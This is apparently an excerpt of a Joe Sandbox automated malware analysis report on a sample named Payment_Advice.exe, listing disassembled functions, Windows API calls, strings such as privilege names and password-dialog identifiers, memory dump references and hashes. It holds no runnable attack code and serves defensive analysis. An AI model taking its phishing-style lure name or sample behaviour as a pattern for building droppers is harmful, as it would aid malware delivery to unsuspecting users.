String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: d5e12f0f007d80a7a59f9c8d8b1e3bfab808fcd4e11ce22a86e6e66ff48b86b5
Instruction ID: 98918e856fd274eb18b6c1e1939d0a9e1a281b039954d3e29bc75df16a3449ce
Opcode Fuzzy Hash: d5e12f0f007d80a7a59f9c8d8b1e3bfab808fcd4e11ce22a86e6e66ff48b86b5
Instruction Fuzzy Hash: B6E08C70910702AEDB309F78994DB46BFD47F14710F14882DF0DAE3A90EAB8D5848B50

Uniqueness

Uniqueness Score: -1.00%

Function 00522BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00522CA1
___AdjustPointer.LIBCMT ref: 00522CC4
_abort.LIBCMT ref: 00522D12
___AdjustPointer.LIBCMT ref: 00522D60

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 597354c5381d37c260dc1f4baaa3dd0f357ddbd421d3b280fbd3fd2ddac812c5
Instruction ID: 2767cd1f8576a5b5b1b8db1bdbe0f284c27a013a8c4a1d923e52db6eae83d75e
Opcode Fuzzy Hash: 597354c5381d37c260dc1f4baaa3dd0f357ddbd421d3b280fbd3fd2ddac812c5
Instruction Fuzzy Hash: 1451DF7A601222BFDB298F14E849BAA7FA4FF56310F24442DEC01576E1D771ED81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0052BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0052BF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0052BF5C

Part of subcall function 00528E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00524286,?,0000015D,?,?,?,?,00525762,000000FF,00000000,?,?), ref: 00528E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0052BF82
_free.LIBCMT ref: 0052BF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0052BFA4

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: ee1cc4f6f7600ceb0c05113a65af62511a419388247ce2a65e37210819731085
Instruction ID: d2a08938f647d28cb6b9c0c09ee4004245cfd39c61494c345041baf7d3833a44
Opcode Fuzzy Hash: ee1cc4f6f7600ceb0c05113a65af62511a419388247ce2a65e37210819731085
Instruction Fuzzy Hash: 8A017CA2606A267F33211ABA7D8DC7B6F6DFEC3BA13150129F904D2281FF608D01D5B0

Uniqueness

Uniqueness Score: -1.00%

Function 00529869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,005291AD,0052B188,?,00529813,00000001,00000364,?,005240EF,?,?,00541098), ref: 0052986E
_free.LIBCMT ref: 005298A3
_free.LIBCMT ref: 005298CA
SetLastError.KERNEL32(00000000,?,00541098), ref: 005298D7
SetLastError.KERNEL32(00000000,?,00541098), ref: 005298E0

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0b6358481315d27a0f2a266a60647fcbb995a08cb699e0c86eabee068e391864
Instruction ID: 8100538897af244bb220c9b82b13cad749d411c13faa6af30948cc9905ccb12f
Opcode Fuzzy Hash: 0b6358481315d27a0f2a266a60647fcbb995a08cb699e0c86eabee068e391864
Instruction Fuzzy Hash: 3301D1371446326BD3162274BC8D92A2E69FFE3760F290538F505923D2FE308C0A6121

Uniqueness

Uniqueness Score: -1.00%

Function 00510EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 005111CF: ResetEvent.KERNEL32(?), ref: 005111E1
Part of subcall function 005111CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 005111F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00510F21
CloseHandle.KERNEL32(?,?), ref: 00510F3B
DeleteCriticalSection.KERNEL32(?), ref: 00510F54
CloseHandle.KERNEL32(?), ref: 00510F60
CloseHandle.KERNEL32(?), ref: 00510F6C

Part of subcall function 00510FE4: WaitForSingleObject.KERNEL32(?,000000FF,00511101,?,?,0051117F,?,?,?,?,?,00511169), ref: 00510FEA
Part of subcall function 00510FE4: GetLastError.KERNEL32(?,?,0051117F,?,?,?,?,?,00511169), ref: 00510FF6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 95b75ad9692dd6ec4a5f726f72c09bce7302c646f7a1cabaa1c95c80adbd3a0e
Instruction ID: 4c2c2425cf97e658281164c024dfc26a9515b168223fae85fac2a1ae502e6c68
Opcode Fuzzy Hash: 95b75ad9692dd6ec4a5f726f72c09bce7302c646f7a1cabaa1c95c80adbd3a0e
Instruction Fuzzy Hash: 7B01B575400B40EFD7229B64DC89FC6FBA9FB08711F000929F25B921A0CBB57A89DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0052C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0052C817

Part of subcall function 00528DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?), ref: 00528DE2
Part of subcall function 00528DCC: GetLastError.KERNEL32(?,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?,?), ref: 00528DF4

_free.LIBCMT ref: 0052C829
_free.LIBCMT ref: 0052C83B
_free.LIBCMT ref: 0052C84D
_free.LIBCMT ref: 0052C85F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5d65e918d9b412d7c543b3666a55825eea08cc8a7568fa8644fc81768ea2c260
Instruction ID: 549e0d1b38ec17c5b1f9541452ef0a12077b48896c05d329bcd7f1b21fec21cc
Opcode Fuzzy Hash: 5d65e918d9b412d7c543b3666a55825eea08cc8a7568fa8644fc81768ea2c260
Instruction Fuzzy Hash: 54F0FF33505221AB9620DBA8F88BC2B7FEDBF527147645C19F109D76E2CB70FC849A54

Uniqueness

Uniqueness Score: -1.00%

Function 00511FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00511FE5
_wcslen.LIBCMT ref: 00511FF6
_wcslen.LIBCMT ref: 00512006
_wcslen.LIBCMT ref: 00512014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0050B371,?,?,00000000,?,?,?), ref: 0051202F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 3a9f5a43f1c9cca28fb3b5910cc6613fe8e6cb611a96d33a7b0518383e7cdf39
Instruction ID: 78131267b87d1e867e2af3d5c1dd819276b91984632f580c8b3e2186c2a66932
Opcode Fuzzy Hash: 3a9f5a43f1c9cca28fb3b5910cc6613fe8e6cb611a96d33a7b0518383e7cdf39
Instruction Fuzzy Hash: 60F01D32008025BBDF266F51EC0DDCA7F2AFF85760F128415F65A5E0A1CB72DAA5D690

Uniqueness

Uniqueness Score: -1.00%

Function 005115FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 005117BC
_swprintf.LIBCMT ref: 0051186B

Strings

%ls, xrefs: 00511641, 00511657
%s: %s, xrefs: 005117CB

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: faa0d5ddfeefbd0262373ddd44878d96f9a009b39f9b772356d8af72146c91a1
Instruction ID: 7d0cd1e8c9cbe7fc9c57be8dc9165b868dd5ba379d374f8e518e77528b7f4d7d
Opcode Fuzzy Hash: faa0d5ddfeefbd0262373ddd44878d96f9a009b39f9b772356d8af72146c91a1
Instruction Fuzzy Hash: BC51DA35248B01F6FA112A908D4BFF57E65BB05B04F288DC6F386648E1D6A3A4D1A71E

Uniqueness

Uniqueness Score: -1.00%

Function 00527F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Payment_Advice.exe,00000104), ref: 00527FAE
_free.LIBCMT ref: 00528079
_free.LIBCMT ref: 00528083

Strings

C:\Users\user\Desktop\Payment_Advice.exe, xrefs: 00527FA5, 00527FAC, 00527FDB, 00528013

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\Payment_Advice.exe
API String ID: 2506810119-31765992
Opcode ID: bf0881ce6eeb500beaf25a51835c250967e39caff6d577404df6831e22345f8c
Instruction ID: 25f4c843ea1e187ed95a6220f44e49f10e5447aa3862bfcbfc03cd74f5f7fd46
Opcode Fuzzy Hash: bf0881ce6eeb500beaf25a51835c250967e39caff6d577404df6831e22345f8c
Instruction Fuzzy Hash: BF31B571A05629EFDB21DF99E8889AEBFBCFF96310F104066F40497290DA708E48CB51

Uniqueness

Uniqueness Score: -1.00%

Function 005231D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 005231FB
_abort.LIBCMT ref: 00523306

Strings

RCC, xrefs: 00523215
MOC, xrefs: 0052320D

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 131a47f9a0ff2747ebd55310db4f7785b8b63903133b2bfa024ce24b8dc541a4
Instruction ID: 9ab9d5381831e50d8345c94a43d2f0bd39e26bea5f95844c68ee81fc5c73cd98
Opcode Fuzzy Hash: 131a47f9a0ff2747ebd55310db4f7785b8b63903133b2bfa024ce24b8dc541a4
Instruction Fuzzy Hash: 0E415975900229EFCF16DF94EC81AAEBFB5BF49304F148099F904A7292D339EA50DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00507401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00507406

Part of subcall function 00503BBA: __EH_prolog.LIBCMT ref: 00503BBF

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 005074CD

Part of subcall function 00507A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00507AAB
Part of subcall function 00507A9C: GetLastError.KERNEL32 ref: 00507AF1
Part of subcall function 00507A9C: CloseHandle.KERNEL32(?), ref: 00507B00

Strings

SeSecurityPrivilege, xrefs: 0050744B
SeRestorePrivilege, xrefs: 00507460

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 6bef6ef73e1123b443f5731d5db5384f38646f2d95802ebeba9db59da60c1dff
Instruction ID: 2dac12203163fd1cc7f19e423966dbe9479e8f7fb90955ed3a42aa39651188f5
Opcode Fuzzy Hash: 6bef6ef73e1123b443f5731d5db5384f38646f2d95802ebeba9db59da60c1dff
Instruction Fuzzy Hash: E231F471E0424D6BEF10EBA4CC49BEE7FA8BF59304F004055F805A72C2D774AA88CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0051AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00501316: GetDlgItem.USER32(00000000,00003021), ref: 0050135A
Part of subcall function 00501316: SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

EndDialog.USER32(?,00000001), ref: 0051AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0051ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0051ADC2

Strings

ASKNEXTVOL, xrefs: 0051AD28

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: aecd213fded1ac8d1dcf87237d458855522bfb5b8ec6bc968af809185221e6f7
Instruction ID: 986836732c8b759c6d97ebd38dbf4ddcfc7187258d6577bded82778d08296e3c
Opcode Fuzzy Hash: aecd213fded1ac8d1dcf87237d458855522bfb5b8ec6bc968af809185221e6f7
Instruction Fuzzy Hash: 6F11B732241A01AFF7138F6CAD49FEA3F69FB5A702F040410F241D74A4C7A29D49A726

Uniqueness

Uniqueness Score: -1.00%

Function 0051DDA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(00010440), ref: 0051DDDC
DialogBoxParamW.USER32(GETPASSWORD1,00010440,0051B270,?,?), ref: 0051DE18

Strings

GETPASSWORD1, xrefs: 0051DE0D
xzU, xrefs: 0051DE28

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$xzU
API String ID: 3157717868-150693504
Opcode ID: cee7234e820048030aed0bf0d0c701eedd2e6d7b2e26ce013769174b0990a3f7
Instruction ID: e1e41132306693be0cf925b77bde5b1c7b301d50738a5c8d0cd748978f0978bb
Opcode Fuzzy Hash: cee7234e820048030aed0bf0d0c701eedd2e6d7b2e26ce013769174b0990a3f7
Instruction Fuzzy Hash: 68113832604144AAEF119A34AC06BFF3FA8BB5A316F144464FD49AB081CBB4ACC8D370

Uniqueness

Uniqueness Score: -1.00%

Function 0050D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0050D954
_strncpy.LIBCMT ref: 0050D99A

Part of subcall function 00511DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00541030,?,0050D928,00000000,?,00000050,00541030), ref: 00511DC4

Strings

@%s, xrefs: 0050D93E
$%s, xrefs: 0050D949

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 221f23694edb671f4343298fb1c39c4a26774b6dd4a45f9130502e6f4a275a2b
Instruction ID: c666c6aeb48e143927657596f857e07292520c0611ee0bdd268c8f08814b7b5f
Opcode Fuzzy Hash: 221f23694edb671f4343298fb1c39c4a26774b6dd4a45f9130502e6f4a275a2b
Instruction Fuzzy Hash: EA217272540249AEEB21EEE4DC46FEE7FF8BF05704F040912F911961E2E272D658CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00510E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0050AC5A,00000008,?,00000000,?,0050D22D,?,00000000), ref: 00510E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0050AC5A,00000008,?,00000000,?,0050D22D,?,00000000), ref: 00510E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0050AC5A,00000008,?,00000000,?,0050D22D,?,00000000), ref: 00510E9F

Strings

Thread pool initialization failed., xrefs: 00510EB7

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: ff25426eab899fb6a957546ae4c0d4e8249e6d12f405ccd5a164d11367afec9a
Instruction ID: 96d32eb135b1c44c0b86c8e5f164788e6f2f483b9db35b1b7bf8d3c516c7a450
Opcode Fuzzy Hash: ff25426eab899fb6a957546ae4c0d4e8249e6d12f405ccd5a164d11367afec9a
Instruction Fuzzy Hash: 5B118FB16407089BD3315F669C889ABFFECFB64744F144D2EE1DAC2240D6B199C08B60

Uniqueness

Uniqueness Score: -1.00%

Function 0050124F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0050125D

Strings

(Q, xrefs: 005012A3
2Q, xrefs: 00501292
A, xrefs: 00501285

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Malloc
String ID: (Q$2Q$A
API String ID: 2696272793-1263153503
Opcode ID: bb9d7e518f02b43995384eabc455772a19c4897584431e02fee372149c18bf8d
Instruction ID: 4f44d077537141e6dc6fff197e8ddaf6d9f08af1103d301d1ba310cffe14d6eb
Opcode Fuzzy Hash: bb9d7e518f02b43995384eabc455772a19c4897584431e02fee372149c18bf8d
Instruction Fuzzy Hash: E2011B75901219ABCF14CFA5D8489DEBBF8BF09310B10415AE905E3240D7749A44DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0051DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 0051DD1C, 0051DD50
RENAMEDLG, xrefs: 0051DD31

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
